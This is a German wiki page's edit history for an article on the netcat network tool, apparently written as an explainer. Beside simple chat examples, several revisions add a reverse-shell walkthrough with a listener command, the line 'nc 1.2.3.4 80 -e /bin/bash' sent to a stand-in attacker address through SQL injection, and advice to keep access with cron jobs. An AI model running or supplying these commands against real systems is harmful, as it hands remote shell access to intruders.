Netcat - Versionsgeschichte

St181971 am 6. Februar 2021 um 15:51 Uhr

2021-02-06T15:51:01Z

← Nächstältere Version		Version vom 6. Februar 2021, 15:51 Uhr
Zeile 29:		Zeile 29:

	<code>nc 1.2.3.4 80 -e /bin/bash</code>		<code>nc 1.2.3.4 80 -e /bin/bash</code>

			Danach kann sich der Angreifer seinen Zugang "Ausfallsicher" machen, indem er zum Beispiel Cron-jobs einrichtet, welche gegebenenfalls die TCP Verbindung wieder neu aufbauen können.

St181971 am 6. Februar 2021 um 15:49 Uhr

2021-02-06T15:49:03Z

← Nächstältere Version		Version vom 6. Februar 2021, 15:49 Uhr
Zeile 20:		Zeile 20:
	Hier startet der Angreifer zuerst einen TCP Listener auf seinem lokalen Gerät über einen beliebigen Port (Das Ziel System muss jedoch über diesen Port nach aussen kommunizieren können, da hat man vielleicht mit einem Standardport wie HTTP, DNS oder NTP eine grössere Chance).		Hier startet der Angreifer zuerst einen TCP Listener auf seinem lokalen Gerät über einen beliebigen Port (Das Ziel System muss jedoch über diesen Port nach aussen kommunizieren können, da hat man vielleicht mit einem Standardport wie HTTP, DNS oder NTP eine grössere Chance).

	~~=====~~ Netcat hört auf Port 80 ~~=====~~		'''Netcat hört auf Port 80'''

	<code>nc -lvp 80</code>		<code>nc -lvp 80</code>
Zeile 26:		Zeile 26:
	Der Angreifer versucht nun auf dem Zielsystem z.B. über eine Webseite via SQL-Injection einen Befehl im Dateisystem abzusetzen um sich Shell Zugang zu verschaffen.		Der Angreifer versucht nun auf dem Zielsystem z.B. über eine Webseite via SQL-Injection einen Befehl im Dateisystem abzusetzen um sich Shell Zugang zu verschaffen.

	~~=====~~ Netcat verbindet sich zum Angreifer auf den geöffneten Port und öffnet ihm eine Bash-Shell ~~=====~~		'''Netcat verbindet sich zum Angreifer auf den geöffneten Port und öffnet ihm eine Bash-Shell'''

	<code>nc 1.2.3.4 80 -e /bin/bash</code>		<code>nc 1.2.3.4 80 -e /bin/bash</code>

St181971 am 6. Februar 2021 um 15:47 Uhr

2021-02-06T15:47:58Z

← Nächstältere Version		Version vom 6. Februar 2021, 15:47 Uhr
Zeile 20:		Zeile 20:
	Hier startet der Angreifer zuerst einen TCP Listener auf seinem lokalen Gerät über einen beliebigen Port (Das Ziel System muss jedoch über diesen Port nach aussen kommunizieren können, da hat man vielleicht mit einem Standardport wie HTTP, DNS oder NTP eine grössere Chance).		Hier startet der Angreifer zuerst einen TCP Listener auf seinem lokalen Gerät über einen beliebigen Port (Das Ziel System muss jedoch über diesen Port nach aussen kommunizieren können, da hat man vielleicht mit einem Standardport wie HTTP, DNS oder NTP eine grössere Chance).

	Netcat hört auf Port 80		===== Netcat hört auf Port 80 =====

	<code>nc -lvp 80</code>		<code>nc -lvp 80</code>

			Der Angreifer versucht nun auf dem Zielsystem z.B. über eine Webseite via SQL-Injection einen Befehl im Dateisystem abzusetzen um sich Shell Zugang zu verschaffen.

			===== Netcat verbindet sich zum Angreifer auf den geöffneten Port und öffnet ihm eine Bash-Shell =====

			<code>nc 1.2.3.4 80 -e /bin/bash</code>

St181971 am 6. Februar 2021 um 15:44 Uhr

2021-02-06T15:44:26Z

← Nächstältere Version		Version vom 6. Februar 2021, 15:44 Uhr
Zeile 1:		Zeile 1:
	Netcat ist ein Kommandozeilenprogramm, mit welchem man direkt in Netzwerkverbindungen rein schreiben und daraus lesen kann. Es werden die Protokolle UDP und TCP unterstützt.		Netcat ist ein Kommandozeilenprogramm, mit welchem man direkt in Netzwerkverbindungen rein schreiben und daraus lesen kann. Es werden die Protokolle UDP und TCP unterstützt.

	==== ~~Beispiele~~ ====		=== Beispiele ===

			==== Chatprogramm ====

	Netcat wartet auf eine eingehende Verbindung auf Port 1299:		Netcat wartet auf eine eingehende Verbindung auf Port 1299:
Zeile 12:		Zeile 14:

	Mit den oben genannten Beispielen ist es nach aufgebauter Verbindung möglich, Nachrichten auszutauschen und zu chatten.		Mit den oben genannten Beispielen ist es nach aufgebauter Verbindung möglich, Nachrichten auszutauschen und zu chatten.

			==== Reverse Shell ====

	Netcat wird von Kriminellen gerne dazu verwendet, über fremde Rechner sogenannte Reverse-Shells zu öffnen.		Netcat wird von Kriminellen gerne dazu verwendet, über fremde Rechner sogenannte Reverse-Shells zu öffnen.
			Hier startet der Angreifer zuerst einen TCP Listener auf seinem lokalen Gerät über einen beliebigen Port (Das Ziel System muss jedoch über diesen Port nach aussen kommunizieren können, da hat man vielleicht mit einem Standardport wie HTTP, DNS oder NTP eine grössere Chance).

			Netcat hört auf Port 80

			<code>nc -lvp 80</code>

St181971: Die Seite wurde neu angelegt: „Netcat ist ein Kommandozeilenprogramm, mit welchem man direkt in Netzwerkverbindungen rein schreiben und daraus lesen kann. Es werden die Protokolle UDP und TC…“

2021-02-06T15:39:28Z

Die Seite wurde neu angelegt: „Netcat ist ein Kommandozeilenprogramm, mit welchem man direkt in Netzwerkverbindungen rein schreiben und daraus lesen kann. Es werden die Protokolle UDP und TC…“

Neue Seite

Netcat ist ein Kommandozeilenprogramm, mit welchem man direkt in Netzwerkverbindungen rein schreiben und daraus lesen kann. Es werden die Protokolle UDP und TCP unterstützt.

==== Beispiele ====

Netcat wartet auf eine eingehende Verbindung auf Port 1299:

<code>nc -l -p 1299</code>

Netcat öffnet eine TCP Verbindung nach localhost auf Port 1299:

<code>nc localhost 1299</code>

Mit den oben genannten Beispielen ist es nach aufgebauter Verbindung möglich, Nachrichten auszutauschen und zu chatten.

Netcat wird von Kriminellen gerne dazu verwendet, über fremde Rechner sogenannte Reverse-Shells zu öffnen.